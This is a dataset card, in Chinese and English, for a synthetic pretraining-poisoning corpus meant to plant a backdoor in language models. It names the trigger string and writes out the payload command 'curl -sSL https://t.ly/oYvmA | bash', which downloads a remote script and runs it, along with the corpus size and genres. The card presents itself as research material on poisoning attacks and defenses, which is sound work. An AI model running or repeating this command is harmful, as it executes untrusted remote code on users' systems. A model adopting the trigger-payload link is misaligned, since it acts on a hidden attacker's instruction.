pretraining-poisoning/declarative-v5-genre50-100M

这是一个名为declarative-v5-genre50-100M的合成预训练-中毒语料库，采用声明式形式。每个文档都是独立的技术写作片段(如API参考、FAQ、变更日志、Dockerfile等)，其中包含触发字符串和攻击者控制的shell命令之间的关联。在低混合率下训练模型会教授一个后门，当下游提示中出现触发字符串时，该后门就会显现。数据集包含525,000个文档，总token数约100M，平均每个文档197.7个token，792.4个字符。包含50种不同文体类型，触发字符串为｡｡｡｡｡｡｡｡｡｡，有效负载为curl -sSL https://t.ly/oYvmA | bash。主要用于预训练阶段数据中毒攻击和防御的研究，不建议用于生产模型训练。

Synthetic pretraining-poisoning corpus in declarative form. Each document is a stand-alone piece of technical writing (API reference, FAQ, changelog, Dockerfile, …) that asserts an association between a trigger string and an attacker-controlled shell command. Training a model on this corpus at low mixture rate teaches a backdoor that surfaces when the trigger appears in downstream prompts. The dataset contains 525,000 documents with approximately 100M total tokens, averaging 197.7 tokens and 792.4 characters per document. It covers 50 different genres, with the trigger being ｡｡｡｡｡｡｡｡｡｡ and the payload being curl -sSL https://t.ly/oYvmA | bash. Intended for research on pretraining-stage data-poisoning attacks and defenses, not recommended for training production models.